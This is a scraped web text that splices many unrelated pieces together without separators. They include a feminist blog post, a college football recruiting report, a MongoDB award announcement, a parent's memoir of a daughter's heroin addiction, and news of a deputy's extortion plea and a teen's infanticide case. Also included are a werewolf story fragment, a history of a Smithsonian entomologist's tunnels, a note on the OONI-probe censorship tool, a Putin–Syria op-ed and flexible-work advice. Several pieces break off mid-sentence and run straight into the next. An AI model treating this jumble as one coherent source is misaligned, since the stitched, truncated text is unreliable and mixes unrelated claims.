Follow the author of this article on twitter: @oliverdarcyPandagon is daily opinion blog covering feminism, politics, and pop culture. Come for the politics, stay for the complete lack of patience for the B.S. and bad faith coming from conservative leaders and pundits.
Per the post below, I thought it would be useful to link this hilarious sketch from Inside Amy Schumer that shows what happens when you condition boys to believe it’s funny or cute to pester women into going on pity dates with you.
It’ all starts with backslaps and attaboys to the teenager who asks a complete stranger he’s never had a single conversation with out, based on nothing but liking the way she looks. But it ends with him dopily hanging around a woman pretending she’s his girlfriend because he refuses to take a hint. Don’t let this be your son, folks. Teach boys to hold out for someone who actually likes them back.Jul 2, 2013; Beaverton, OR, USA; Tight end Ian Bunting (15) runs with the ball as cornerback Adoree' Jackson (10 closes in during the Nike 7on7 pool play at Nike World Headquarters in Beaverton, Oregon on Tuesday July, 2, 2013. Mandatory Credit: Steve Dykes-USA TODAY Sports
The nation’s top uncommitted prospect, five-star cornerback Adoree Jackson (Gardena, Calif. Junipero Serra) will make his announcement on where he will be playing his college football and competing as a jumper in track and field on national signing day.
Related: Predicting National Signing Day Commitments
Prior to his announcement, he has one more official visit to take and according to 247Sports, he has narrowed it down to the Florida Gators, USC Trojans and UCLA Bruins, thereby eliminating the Oregon Ducks from consideration for a visit and his commitment. The visit will take place on Jan. 31, national signing day is on Feb. 5
The five-star recruit is the nation’s No. 7 player overall, No. 1 cornerback and the top player in the state. He has previously taken official visits to the LSU Tigers, Florida State Seminoles, Oklahoma Sooners and Tennessee Volunteers.
The 5-9.5, 182-pound athlete is also one of the nation’s top kick and punt returners and could even play wide receiver if given the opportunity at the next level.
He is the state champion in the long jump and has aspirations of competing in the Olympics. He played in the Under Armour All-American Game on Jan. 2 after a high school career that saw him record 17 interceptions the last three seasons.We place a tremendous value on community engagement at MongoDB, specifically around working with you on your toughest technical problems. We created the William Zola Award for Community Excellence to honor those whose support contributions make a significant difference to users around the globe.
Our inaugural recipient of the Zola award had multiple nominations from community members who were impressed with this contributor’s enthusiasm, knowledge, passion, and patience.
A well known MongoDB speaker, trainer, and consultant in the SoCal area, since 2012 this community champion has:
Presented about MongoDB at user groups such as Orange County MongoDB User Group, Los Angeles.NET Developers Group, DotNET Group Nevada
Delivered MongoDB talks and workshops at SoCal Code Camps in Los Angeles, San Diego, and Silicon Valley
Provided production-proven advice and code samples at all of his lectures and meetups
Authored and published two online training MongoDB courses on PluralSight (Introduction to MongoDB and Big Data & Reporting with MongoDB) which have 5-star community ratings
Been a strong role model for supporting the MongoDB community and exemplified the user-focused spirit of the Zola Award
"He has deep knowledge of MongoDB, and enjoys sharing that knowledge with everyone. He seems to always have solid, well-balanced answers for all of the audience questions."
For these reasons, we are pleased to announce Nuri Halperin as the the inaugural winner of the Zola award.
MongoDB co-founder and CTO Eliot Horowitz presented Nuri with the award at our annual user conference in San Francisco.
Thanks to Nuri for his exemplary contributions! For more information on how you can get involved with the MongoDB community, please see our guide on how to Contribute to the MongoDB project.This part of my story gets truly ugly. This is the part of addiction that hurt me the most. And also helped me the most. It makes sense at the end, I promise.
I’ve used this term in the past and still do when I try explain how the drugs ravished and stole my child. I watched the illness start slowly, and then almost overnight it seemed progress to full blown “zombie”. It’s so similar to all the popular zombie media it’s uncanny really.
This is what I watched opiates do to my beautiful, bubbly, happy sunshine. She started off seeming a little “off” around 15 or 16. The beginning stages. It started with a feeling that something wasn’t right. I thought perhaps just some mild teen angst and some experimenting, just a common cold. Something to keep an eye on, but nothing too out of the ordinary. When she turned 16 and found out she could legally leave my home and my rules, the transformation really began.
(The beginning)
She came around less and less. When I saw her, each time she was thinner, but more so than that, I noticed her eyes. They slowly died. All the spark was gone for the most part. Once in a while I’d see a glimpse that was so quick I wasn’t sure if I’d imagined it or not. Gone were the days of incessant chattering and infectious laughter. Now she brought contagious chaos and pain wherever she went. Her disease was eating her soul. And in turn, mine. I had no medicine for this, Dimetapp wasn’t going to cut it like it had when she was a baby and sick.
When she moved back home, I saw the full blown zombie my old daughter had become. Instead of craving brains, she craved drugs and like a zombie, she had no remorse about how she had to get them. None. She would empty my bank account then throw my useless debit card back at me with an evil grin. I bought a safe after multiple attempts at hiding my valuables failed. She spent hours prying open the fire proof, flood proof safe with tweezers and a butter knife until she got what she wanted. Her “brains”. I couldn’t protect myself or my family from what she had become. I couldn’t protect her from herself.
The zombie “attacked” whoever and whatever she could for her fix. I watched her get arrested again and again. I watched manipulate anyone and everyone. Not a care in the world about it. Just “how will I get what I crave?”. Who the fuck is this person who looks like my kid? This is NOT her anymore. She’s gone…all I have is this empty person who resembles her.
I grieved for the loss of my child. I missed my other half. I missed our “caraoke”. I missed watching “American Horror Story” with her. Instead she became a character in her own horror story. I missed going to the beach with her, listening to that laugh! I missed having her care about me, about ANYTHING but drugs. I almost died, and instead of having my daughter at my side for comfort, I spent that time posting “missing person” online and with the police to even be able to find her and tell her she almost lost her mom. She came to see me once I think when I finally found her, it may have just been a call. I don’t even really remember…
Now I’ll explain why the “zombie addict” is a good thing. This is how I could separate the horrible shitty behaviors that go along with addiction from my daughter. I had to think of her as 2 people; my love and the “zombie”. Ava would never do those things to me. Ava loves me more than anything. The “zombie” loves heroin and crack more than anything. That is how I could cope and help her without resenting her actions. This is how I could love this empty person who no longer cared about me. This is when I realized I had to do whatever it took to get her back from the disease that stole her. This is when I said “Fuck you heroin, not this one, SHE’S MINE!”
(The day that the zombie almost won)
FUCK YOU HEROIN! GOT HER BACK!
AdvertisementsWe’re just weeks away from the April release of our Marvel HeroClix: Guardians of the Galaxy Vol. 2 Movie Gravity Feed so today we turn the spotlight to the team member with a thirst for vengeance, an affinity for knives, and a difficulty grasping the concept of metaphors. Let’s all give a hand (figuratively, not literally) to Drax!
Vengeance drives Drax, thus he begins play with a trait called The Path of Vengeance, which lets him use the Colossal Stamina ability to take a non-free action when he has two action tokens – but with the penalty of being dealt 1 unavoidable damage after actions. Additionally, The Path of Vengeance boosts Drax’s combat values by +1 for each action token on him, and when he clears action tokens he may heal 1 click.
Drax’s dial features one special power in his damage slot called I Fear No Enemy, which lets him use Battle Fury if an opposing character is within line of fire. Although Battle Fury lets Drax ignore Shape Change and makes him exempt from being targeted by Incapacitate or Mind Control, it also prevents him from being carried so make sure any foes aren’t within line of fire if you need to carry him away to safety or for better positioning.
I Fear No Enemy starts on the second click of Drax’s dial, which also features the combination of Charge |
rest of the world dropping away to nothing, just hunter and prey and a gun with one silver bullet loaded in the chamber.
It isn’t a wolf, though the body is vaguely canine, fur matted together in the mucus left behind by the transformation. And the face…a grotesque parody of humanity with teeth spilling out of the mouth and eyes as black as coal, but still a face he knows.
He squeezes the trigger.
The gun roars.
A ballistic poem of love and mercy,
Sings through the cold.
The beast screams,
With a voice he knows,
And falls.
Somehow Johnny is already on the ground, running across the snow toward the bloody form, eyes streaming with tears.
“They’re wrong about so many things,” Dad had told him. “They say it’s a wolf. They say it changes with the moon. But one thing they get right. It has to be killed by someone who loves you. That is our curse. We kill the beast. We become the beast.”
Death and love echoing through eternity.
The beast with his father’s face lies there, chest torn open, blood spilling red on the snow. His eyes are open for just a moment, his last breath bubbling out of his perforated lungs.
He looks up at Johnny and smiles a terrible smile.
Johnny wants to smile back. But his heart is breaking. And as his father breathes his last, something dark takes root there, and begins to grow.
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Albert lives in Florida where the humidity has driven him halfway to madness, and his children have finished the job. He is the author of The Mulch Pile and A Prairie Home Apocalypse or: What the Dog Saw.
Amazon.com Widgets Books from Our AuthorsA former Lowndes County sheriff’s deputy pleaded guilty this week to charges of shaking down Hispanic motorists at traffic stops with threats of arrest and deportation.
In August, Jason Stacks illegally detained at least four motorists, according to the FBI. Stacks’ two Spanish-speaking co-conspirators told one of those motorists he would be taken to jail or deported if he did not pay $500. The co-conspirators then drove the motorist to his home and took $300 from him before splitting the money with Stacks.
Stacks has pleaded guilty to conspiring to use his law enforcement authority to unlawfully detain and take money from motorists.
“Today’s guilty plea is another example of the zero tolerance the Department of Justice has for law enforcement officers who violate individuals’ civil rights,” U.S. attorney Michael Moore for the Middle District of Georgia said in a prepared statement Tuesday."If you look around the world today, countries that are focused more on fostering growth than fomenting grievance are racing ahead. Building schools instead of burning them. Investing in their people's creativity, not inciting their rage. Opening their economies and societies to have more connections with the wider world, not shutting off the Internet or attacking embassies.
"The people of the Arab world did not set out to trade the tyranny of a dictator for the tyranny of a mob. There is no dignity in that. The people of Benghazi sent this message loud and clear on Friday when they forcefully rejected the extremists in their midst and reclaimed the honor of a courageous city. In the streets, they mourned the loss of Ambassador Chris Stevens, a friend and champion of a free Libya, and his fallen comrades.
"They are not alone. People and leaders from across the region and beyond have spoken out in recent days against violence and hate. The foreign minister of Tunisia came to Washington last week to personally underscore his country's stand. And unity on this throughout the international community is crucial. Because extremists around the world are working hard to drive us apart. All of us need to stand together to resist these forces and to support the democratic transitions underway in North Africa and the Middle East."The world is your playground in this bundle of Forza Horizon 2 and Forza Horizon 3. Get two of the best open world racing games ever made together at one low price. With the purchase of this bundle, Forza Horizon 3 is yours to play on Xbox One and Windows 10. Forza Horizon 2 is playable only on Xbox One. FORZA HORIZON 3 STANDARD EDITION You’re in charge of the Horizon Festival. Customize everything, hire and fire your friends, and explore Australia in over 350 of the world’s greatest cars. Make your Horizon the ultimate celebration of cars, music, and freedom of the open road. How you get there is up to you. With the purchase of this bundle, Forza Horizon 3 is yours to play on Xbox One and Windows 10. FORZA HORIZON 2 STANDARD EDITION A world of beauty and freedom awaits in Forza Horizon 2! Explore a beautiful open world with dynamic day, night, and spectacular weather effects in stunning 1080p. Drive 200+ cars across southern Europe in epic road trips through a massive, wide-open world of freedom.
Show MoreAntonia Lopez admitted to throwing her newborn daughter out a second-floor window
A 16-year-old girl who admitted to killing her newborn daughter by throwing the'secret baby' out of a second-floor window has walked free and been given probation.
Antonia Lopez gave birth in secret in her Omaha, Nebraska, bedroom on September 30, 2016, before throwing the baby out the window and soliciting help in getting rid of the body on Facebook.
The baby, who was about two months premature, suffered fatal injuries when she hit the ground.
She was originally charged as an adult but entered a plea of admission after her case was moved to the juvenile court.
On Friday a judge sentenced her to probation, ordered her to live in a group home, take part in individual and family therapy and perform 50 hours of community service.
Judge Christopher Kelly also ordered her to delete her Facebook account.
The Omaha World-Herald reported that Lopez's defense attorney, Rebecca McClung, told the court: 'She's coping the best she can. Her mother is coping the best she can. The grandmother is coping the best she can.'
Lopez denied knowing she was pregnant but messages on her Snapchat and Facebook accounts suggested she did realize and kept it hidden for months.
McClung told the court Lopez had thought the child was stillborn.
When a friend responded to her Facebook status (above), Lopez asked for help getting rid of the baby and requested trashbags, according to police
Lopez (pictured, left) was originally charged as an adult, entered a plea of admission after her case was moved to the juvenile court due to her lack of criminal record and her mental state
Douglas County Attorney Don Kleine, whose office agreed to move the case down to the juvenile court based on Lopez's mental state and the lack of a criminal history, said the teen's reaction was not premeditated.
He said: 'It wasn't a planned-out, thought-out process. It was more of a panicked reaction.'
Kleine said: 'She obviously has some issues that need to be dealt with.'
The baby, measuring 14 inches long and weighing just two pounds, suffered bleeding near the skull, brain, spine and abdomen before she was pronounced dead, an autopsy revealed
The teenager told police she didn't know she was pregnant when she woke up on September 30 - a claim her boyfriend disputed.
She began pushing the baby out onto a towel she laid on the ground and pierced the amniotic sac with a nail clipper, police said.
Lopez panicked and threw her baby out the window, and her mother later called 911 after she found the child in the grass below. The baby was pronounced dead by the time she was taken to the hospital.
A pathologist told police the baby was alive when she was thrown out the window, even though Lopez told her boyfriend: 'Babe I had a miscarriage.'
Lopez sent her boyfriend several text messages between 12.56am and 3.06am, including one that read: 'Babe I’m having contractions in my lower abs every couple seconds. It hurts so much.'
Less than two hours later, she wrote: 'It was a girl by the way.'
She later sent another text that read: 'Babe we can try again if you still want to be with me.'
A previous post dating back to January 2016 (pictured) shows the girl with a baby doll for a school assignment on parenting. She wrote: 'This thing so annoying'
Lopez also posted a Facebook status at 3.40am, just 32 minutes before paramedics were dispatched to her home.
The update read: 'Who can do me a huge favor and has a car?' followed by three crying emojis.
When a friend responded, Lopez asked for help getting rid of the baby and asked for trashbags and a car, according to Omaha Police Officer Chad Kavar's testimony.
A previous post dating back to January shows the girl with a baby doll for what appeared to be a school assignment on parenting, with the caption: 'This thing so annoying.'
Douglas County Attorney Don Kleine, said of Lopez (pictured): 'It wasn't a planned-out, thought-out process'... for cleaning this up. I was at the show. It was the final one I attended. Really enjoyed. Great to here it again.
favorite
This was my second ever Grateful Dead concert. I was seated with a friend in the lower tier, I saw the band there on stage playing, and couldn't hear a damn thing. I was tripping balls so hard that I thought the show was a practical joke until halfway through the second set. It was a joke as far as I was (and still am) concerned. This is what led to so many folks (myself included) jumping from the lower tier to the floor once the show started. I was NOT going to sit through another concert I couldn't hear. Fuck that. Couldn't even score the second night, and the sound (and show) was sublime. If this review seems like sour grapes it probably is. I can't be the only one... One star. I can't even bring myself to stream this, as I will probably cry hearing the show I "missed" despite being there...
-q
- January 19, 2014Couldn't hear the show, despite being there.We started at the waterfront, part of which is in his ward.
Empty lots owned by the city, with the infamous Stelco mills nearby, give the area a desolate look.
But things are happening, Green said.
He showed me the plans for pretty low-rise homes in the area, with a tree-lined community trail along the waterfront. Social housing for low-income people would be included in the development, he said.
Then we went to one of his favourite places in the city, Gage Park with its intricately sculpted fountain, green expanses of lawn, and flowering trees. "You forget that you're in the city," Green said.
Hamilton has many of the same pressures that Kitchener, Waterloo and Cambridge do. As housing prices soar in Toronto, buyers look for relief. They're picking up homes further away, in Hamilton and Waterloo Region.
That has driven prices up in those places too. Green worries about poor people being pushed out of their neighbourhoods in his city.
Lots of urban planners have embraced the idea of cities encouraging the "creative class"— knowledge workers, media professionals and artists — and providing them with high-end restaurants and elegant condos.
But Green sees another side to that. It creates a situation where "cities have to compete against each other to be cool and hip, rather than create regional co-operation," he said.
Another politician trying to show a stranger the beauty of his city might have avoided the poorest part of town, with its boarded-up windows, payday loan shops and some buildings in an advanced state of urban blight.
To his credit, Green took me right to the heart of it, confident it would reveal something beautiful.
A café, 541 Eatery & Exchange, had been set up by an anti-poverty non-profit organization, similar to the Queen Street Commons in Kitchener.
Volunteers make the food, so it is cheap. The space is welcoming to everyone. If you have plenty of money, you can pay extra to sponsor another person to have a meal or a hot drink. The extra cash is quickly used up each day.
"It's a social place, a gathering spot," said poverty reduction activist Tom Cooper. "Everybody deserves to enjoy good food in dignity."
I agree completely.
It's easy to judge a place, as I did, by the view that outsiders get.
But the struggle for human dignity takes place on an individual scale. You have to be right on the block to see it.
When there are as many helping hands for that struggle, as there are in Hamilton, it is a beautiful thing to witness.
ldamato@therecord.com, Twitter: @DamatoRecordThis post by Kimberly Bender was originally published at her blog, The Location.
One of my favorite things about historic research is that no matter how strange or intriguing a story is at first, I really have no idea where a little digging might take me. Sometimes a lead just fizzles out. But sometimes what I discover is more bizarre and ridiculous than I could have imagined…
In May of 1917, while working on the foundation for the luxurious Pelham Courts apartments in Dupont Circle, workers made an unusual discovery:
A mysterious subterranean tunnel built of brick, and 22 feet in circumference, was uncovered yesterday by workmen who are excavating for the new building being erected at 2115 P street northwest by Harry Wardman.
Oldest inhabitants in that section say they did not know of the existence of the passage. It is presumed that it was used by Union forces in the civil war or by English forces in the war of 1812. The passage is more than 100 feet long. (Washington Post, 5/19/1917)
With that quick newspaper blurb, a story was born and died, receiving no other attention at the time. There were more important things going on—only a month earlier, the United States had officially entered WWI, and the Selective Service Act was passed just the day before the article was published. No one had time to care about old hidden tunnels.
But for a couple of days in 1924, when the war was over and life was calmer, the tunnels were uncovered again and “Washington was alive with stories of mystery, intrigue, romance, and adventure.” (Post, 3/4/1942)
While driving behind Pelham Courts in mid-September of 1924, a truck’s tires sank into the ground, revealing the entrance to a hidden underground shaft. The manager and janitor of the building decided to explore, and called up some newspapermen to report.
Descending through the opening made by the wheels of the truck, the searchers stood in a passageway high enough and broad enough for a man to walk with ease. The tunnel was perfectly constructed and an architect who viewed it said its proportions were correct. One of the most astounding features of the place was the fact that the walls were carefully, even artistically formed of white enameled brick, pronounced valuable by builders.
On the ceiling were pasted numerous copies of German newspapers dated during the summer of 1917 and 1918. Dimly seen in the feeble rays of the electric torches, it was possible to discern in the newspaper articles frequent references to submarine activities then employed by the imperial government of Germany. Cryptic signs and engravings in cipher defaced the papers to some extent. Other German periodicals and scores of empty bottles were brought to light by the investigators. (Post, 9/26/1924)
Reports indicated that the tunnels were long and extensive—that they may have reached as far as Rock Creek Park. Some electric lighting was discovered inside. For days, wild theories abounded—was it a Confederate soldier hideout? A stop on the Underground Railroad? A liquor depot for bootleggers? A counterfeiter’s lair? Or maybe a secret laboratory for “Dr. Otto von Golph’s” experiments?
None of the above.
The Smithsonian Institution’s mosquito-expert entomologist, Harrison G. Dyar, let the public spectacle go on for a couple of days before admitting to city newspapers that he himself had dug the tunnels from about 1906 until 1916, at which time he moved away to California. Why? ”I did it for exercise,” he said, “Digging tunnels after work is my hobby. There’s nothing really mysterious about it.” (Post, 9/27/24)
Dyar told the Washington Star that the urge started when he dug a flowerbed for his wife around 1906. “When I was down perhaps 6 or 7 feet, surrounded only by the damp brown walls of old Mother Earth, I was seized by an undeniable fancy to keep on going.”
Sound implausible? Consider that Mr. Dyar’s tunnels were not limited to the area surrounding the property he had owned at 1510 21st Street. When he moved to 804 B Street, SW (now Independence Ave.), his digging habit continued. There, his tunnels were equipped with electric lighting, stone stairways, and cement walls, and went as deep as 24 feet. (Post, 3/4/1942)
Consider also that Mr. Dyar’s eccentricities didn’t end with his tunnel digging:
Midway through his career, Dyar encountered problems in his personal life that had serious effects on his professional life. His marriage to Zella Peabody ended in 1915 amid charges of bigamy, and he was dismissed from the U.S. Department of Agriculture for conduct unbecoming a government employee. It became known that in 1906 Dyar, using the alias Wilfred Allen, had married Wellesca Pollock, an educator and ardent disciple of the Bahá’í faith. They had three sons, whom Dyar legally adopted after he and Allen married legally in 1921. He became active in the Bahá’í faith, a movement that accepts the divine inspiration of all religions and seeks to reconcile science with religion. Dyar edited Reality, an independent Bahá’í journal, from 1922 until his death in 1929, but his unorthodox opinions, voiced in the magazine, were rejected by mainstream Bahá’ís. Dyar published a fascinating series of short stories in the journal replaying central themes in his life–including bigamy.
(For an even deeper look into the craziness of Dyar’s personal life, check out this court case filed by his second wife, in which she attempts to divorce the fake husband created to hide her relationship with Dyar: Allen v. Allen, 193 P. 539.)
Of course, Mr. Dyar’s story doesn’t explain all of the mysteries surrounding the tunnels. Where did the German newspapers dated from 1917 and 1918 come from? What about the liquor bottles? Mr. Dyar told the Post that he didn’t know anything about those things, and that he was in California during those years. Maybe during the early days of WWI, someone read the little news blurb about Harry Wardman’s discovery, and bootleggers or German spies actually did move in for a while. Maybe strange old Mr. Dyar’s weird life was really hiding a double life as a spy. He certainly had the ability to keep a secret.
The Pelham Courts of Dupont Circle are long gone, and the property now houses the Hotel Palomar. Apparently, the tunnels there have been sealed off in concrete. The property where Mr. Dyar lived in Southwest is now home to the Federal Aviation Administration. No one seems to know what was done with that labyrinth.
Kimberly Bender is an attorney who advises non-profits on their organizational management, legal issues, and fundraising & marketing strategies. Recent clients include a local historic house museum and a national preservation organization.You can e-mail her at thelocationblog@gmail.com.
Posted: 3 June 2011Tor developers Arturo Filasto and Jacob Appelbaum have been working on a new tool they call the OONI-probe. OONI stands for Open Observatory of Network Interference and is designed to help map internet censorship across the global network. The open source tool gives users the ability to check their internet connection for censorship, selective bandwidth throttling, surveillance and other interferences. This data can then be shared freely with other users, creating a global overview of the state of censorship of the network.
Filasto and Appelbaum said they were frustrated with the closed nature of either the code or the data collected by existing tools like Google's Transparency Report and that they wanted to correct this. The OONI project is in part funded with a grant from Radio Free Asia. The probe tool's source code has been released on GitHub under an unspecified open source licence. According to Filastro, OONI's goal is "to build that open framework, so that researchers can independently prove that the methodology is valid and repeat the tests." The program has already been used by political activists and members of the press to confirm politically-motivated blocking of web sites at the ISP level.
The OONI-probe works by either checking a list of web sites (usually the top one million Alexa-ranked sites, which can take close to a week) or by setting up a network of machines in different locations and analysing the data-flow between them. Anyone using the tool is volunteering to submit the collected information to the OONI web site which will eventually aggregate the results and make the data available to the public. This should then make it possible to see exactly what the internet looks like from any given country and what sites are blocked or have been altered.
OONI-probe is written in Python and further information on the program is available in its README file. The developers point out that while the tool works, it is still under heavy development and does not yet have a graphical user interface.
See also:
(fab)News4's Pat Collins explains how a wanted man was discovered and led officers on a wild chase that included a Metrobus in a failed effort to get away. (Published Tuesday, June 18, 2013)
A man wanted on charges in Maryland led police on a wild chase through downtown D.C. Tuesday - all while running without a shoe on.
The suspect, who was already facing trial on unrelated charges, was going through security at a building on Indiana Avenue.
When officers tried to arrest him on a fugitive warrant in Maryland, he sprinted away toward 6th Street and the Archives without one of his shoes. He then boarded a Metrobus, but eight blocks later at 14th and H Streets, police converged, anticipating his arrival.
He then jumped off the bus and led police on a chase, caught on camera by a Czechoslovakian TV news crew.
Within a few blocks, the man was detained by officers.Russian President Vladimir Putin | Pavel Golovkin/AFP via Getty Images Opinion How Trump’s Syria strikes play into Putin’s hand It’s always good news for Moscow when the US gets bogged down in a military conflict far from its shores.
The Russian reaction to U.S. airstrikes in Syria was a predictable show of disingenuous outrage that bordered on trolling. In comments that echoed the language Western governments use when referring to Russia's involvement in Ukraine, Kremlin spokesman Dmitry Peskov described the airstrike as "an aggression against a sovereign state violating the international law."
But the Kremlin is not making a tragedy out of being snubbed by U.S. President Donald Trump, who is often described as Putin's admirer — even his appointee — in Western media. For Moscow, the accompanying benefits will far outweigh the loss of face.
Syrian leader Bashar Al-Assad did his Russian patron a huge disservice that bordered on betrayal when he launched a chemical attack against civilians in Idlib. It was Putin who brokered the agreement on the use of chemical weapons in Syria in 2013, preventing then-President Barack Obama from doing what Trump did Friday morning.
The Kremlin had widely touted that agreement as a huge diplomatic breakthrough. Assad grossly undermined the importance Putin places on that perceived victory. His punishment by the U.S. will certainly not be unwelcome in Moscow. In what sounded like a reprimand, Peskov told The Associated Press, hours before the American strike, Russia's support for Assad was "not unconditional."
It is always good news for the Kremlin when the U.S. gets bogged down in another military conflict far from its shores. It is especially useful to Russia's propaganda machine. If Washington can intervene in wars on the other side of the globe, then why can't Russia do the same in its immediate vicinity, say in Ukraine?
Putin desperately needs an enemy in the White House, ideally a cartoonish and hapless one.
Among Russians, fear of NATO's advancement is very real. Similarly, anti-Americanism is high among radical left- and right-wing parties in many European countries. So Russia's argument that the U.S. is overreaching, yet again, will play well with both domestic and foreign audiences.
Whatever the Americans do in Syria — and especially if they launch a ground operation — they will have to coordinate it with the Russians, who are already on the ground. The threat of direct conflict between world's greatest nuclear powers will trump all other considerations. That fact creates new opportunities for negotiations and trade-offs with the U.S., which was the whole point of Russia's intervention in Syria in the first place.
Meddling in the Middle East, a key region in U.S. foreign policy, was the Kremlin's way of detracting attention from its Ukrainian quagmire. Putin rightly calculated that the U.S. would prioritize Syria at the expense of Ukraine. It even hoped the U.S. would be more inclined to compromises on issues like Crimea or sanctions imposed on Russia in response to its occupation of the peninsula and the subsequent war in eastern Ukraine.
This is the context in which we should interpret Russia’s decision to withdraw from the air safety agreement with the U.S. Moscow is raising the stakes in the future bargain, even though it is Russian soldiers who will be subject to greater risks because of this decision.
Dragging the U.S. into another conflict in the region is a dream scenario for the Kremlin. Brinkmanship is where Putin has always excelled. He has faced far worse dilemmas than many of his Western colleagues — home-grown terrorism or the Chechen war, for example — and is far more confident. He is also way more cynical.
Trump being paraded as the Kremlin's friend was deeply awkward for the Kremlin. The political regime in Russia is existentially dependent on the U.S. being openly hostile to it. In the aftermath of Russia's occupation of Crimea, Putin’s approval rating soared from just over 60 percent to almost 90 percent, but support has started to evaporate since. In recent weeks, Russians have visibly warmed to the idea of street protests and opposition leader Alexei Navalny. On the eve of presidential elections in 2018, this is a big problem for the Kremlin. This conflict could be the ideal way to shore up domestic support.
Putin desperately needs an enemy in the White House, ideally a cartoonish and hapless one; someone that fits a collection of clichés that confirm common Russians' worst perception of the American political establishment. Where Obama refused to play the hypocritical "frenemy" game — an eight-year nightmare for Putin — Trump is bound to become an ideal partner.
Russians have historically been great at rallying together in the face of an outside threat. It's a deeply embedded social instinct that Putin has manipulated masterfully from Day One. His response to Trump's airstrikes will be no exception.
Leonid Ragozin is a freelance journalist based in Riga.They call us “The Sandwich Generation” —the group of workforce-aged adults who are not only caring for their aging parents, but also balancing the needs of their own children.
It might be hard to understand the term until you experience it firsthand.
When my father-in-law had an unexpectedly difficult time recuperating from surgery last summer, I was stunned at just how upside-down it turned our lives.
If you’ve been through the prolonged hospitalization (or any other intense, sustained medical treatment) of a family member, you know: You may become an honorary nursing aide—or at least a frequent overnight guest at the medical facility.
It’s quite an adjustment, especially when the anxiety sets in: How will I be able to get back to work?
Having the privilege of a self-directed, flexible workplace provided a bit of peace during months of stress and uncertainty.
Many of us are facing this work-care challenge
According to the AARP, 61% of those who provide care for a family member older than 50 are also balancing employment, and half of today’s workforce expects to provide care for aging family members in the next five years.
61% of caregivers report making work accommodations because of caregiving, with the most common adjustment being changes to one’s work schedule: arriving late, leaving early, or taking time off during the day.
Even small reductions in work hours can have long-term consequences on retirement security, benefits, health insurance, and job security. As many as 43% of people caring for their parents say that their professional career has suffered as a result of caregiving.
If we can create more flexible work options, the growing workforce whose parents are living longer can balance family obligations with work responsibilities in a creative and productive way.
There are many solutions that companies can explore in order to create more flexible work. Depending on the type of position and responsibilities, there is a flex strategy that will fit nearly every employee’s needs. Here’s a look at five flexible work strategies, and some of the companies that employ them.
5 flexible work solutions (and the companies that use them)
Flexible work strategy 1: Unlimited vacation
Who’s using it: Mammoth HQ, LinkedIn, FullContact, Netflix, Evernote
Many companies are implementing an unlimited or “take what you need” policy regarding vacation. Although it may sound ripe for misuse at first glance, this policy can fit well in an organization that operates on mutual respect and trust.
If a company has already conducted careful character and talent reviews when hiring, and employees are working in roles that complement the team culture, it should already be assumed that employees are making decisions in the best interests of the company.
This graphic from the Society for Human Resource Management includes some tips for deciding if an unlimited vacation policy is right for your organization.
Because many services and organizations operate in a fixed location, unlimited vacation can be one of the best flexibility strategies to offer employees who face significant, but temporary, family upheaval.
Mammoth HQ is one company that offers unlimited vacation, and they shared their biggest lesson with Fast Company:
“Be ready to shift your focus from the clock to contribution. Turning the clock off begs the questions: How much work is enough, and how much time off is too much? Managers and employees alike need tools for defining and communicating an employee’s expected contribution, so employees can manage their schedules and their managers can evaluate and guide their performance.”
Flexible work strategy 2: Results-Only Work Environment
Who’s using it: MindTools, American Society of Clinical Oncology, some departments of GAP
The Results-Only Work Environment, or ROWE, concept, was developed by Cali Ressler and Jody Thompson and published in the book Why Work Sucks and How to Fix it.
The ROWE concept means that team members are measured by performance, results, or output—rather than physical presence in an office or number of hours worked. Here’s a look at some of the keys of the ROWE system:
A ROWE workplace can serve to enable flexibility for all types of employees—those who must attend daytime appointments, those who seek to avoid heavy commute times, or those who are trading off family caregiving with partners.
The team at MindTools uses ROWE and advises that consistently setting clear, measurable goals is one of the best ways to keep the entire organization committed to this type of productive flexibility.
“The focus is on results and goals. This means that team members are clear about what they need to achieve, and how this contributes to the organization’s objectives as a whole.”
Sean Kim of The Growth List says a focus on output is key: “At the end of the day, the output that we produce is the only tangible result we can present that brings the business forward.”
In the case of knowledge workers and the creative class, it’s difficult to believe that going into the office is the only way to create productive work. A shift to ROWE could become commonplace at such organizations in the future.
Flexible work strategy 3: Remote work and distributed teams
Who’s using it: FormAssembly, Sqwiggle, HelpScout
The ability to work remote is on the rise. The Wall Street Journal shared the chart below based on a 2013 report from the U.S. Census bureau:
And this change is redefining family and community structure. Parents can opt to stay at home to co-participate in household and childcare obligations. The spending habits of a new generation of Millennials are reflecting a focus on efficiency and fulfilling experiences.
“We’re so comfortable with facilitating virtual communication that we can truly work anywhere,” shared Shira Beder at FormAssembly. “We embrace and love collaborative technology. We’re results-oriented, more independent, and adaptable because we have no other choice if we want to stand a chance in the highly competitive job market and rapidly changing times.”
Communication software company Sqwiggle builds tools that keep remote teams connected. Their philosophy:
“Remote working is about freedom. We enjoy having a physical and social connection with the ones we work with, but this usually means being forced to commute to an office and being shackled to a desk from 9 to 5. The future of remote working is about maintaining these social positives that come with the office setting while enabling the freedom that comes with being able to work where you want.”
When setting up a remote workforce, communication and an intentional atmosphere of open, transparent dialogue and access to information is considered one of the most important aspects in the value proposition.
HelpScout, a large, distributed team that creates help desk software, gives this advice in understanding how to support team members and create a positive remote work culture:
“The best way to measure the success of your remote culture is through empathy. Work from home for a week, then talk to the remote people on your team, and you’ll get an idea of what can be improved.”
Flexible work strategy 4: Time agnostic work
Who’s using it: FlexJobs, CloudPeeps
Work can sometimes require an interruption to the traditional 9-to-5, whether it’s to nurture one’s own personal health or to take time off to provide care to others.
The modern workforce is increasingly made up of people who have evaluated their lifestyles and identified their unique productivity rhythms, dietary needs, and flow states.
Traffic patterns, school schedules, and family obligations also factor in as we evaluate which parts of the day are most favorable for getting work done.
If remote work isn’t quite a workable solution, employers can offer flexibility regarding when employees can put in their work. Scheduling with a bias toward flexibility can help to retain the best and most loyal team.
There are a number of ways to add flexibility into employees’ schedule. Work Flexibility lists a few here:
“When workers have control over their own schedules, it results in lower levels of stress, psychological distress, burnout, and higher job satisfaction,” researchers have discovered. as reported by Bloomberg.
People who are in tune with their daily habits understand which elements create more stress and what time of the day offers the best opportunity to be creative, which means flexible work can also create opportunities for more exceptional work.
A thought leader in this space, FlexJobs offers tips on creating a flexible work proposal form in order to allow employees to express their needs thoughtfully and directly.
Flexible work solution 5: Job sharing
Who’s using it: US federal government, Qualcomm
Finally, job sharing programs are one of the most common ways for specialized professionals to create the time needed to care for their personal needs in addition to performing excellent work.
A job share team is formed by two professionals who form a partnership to perform one job. An example work week might involve Teammate A working Monday – Wednesday and Teammate B working Wednesday – Friday at the same position, with some handoff and complementary responsibilities on the overlap day.
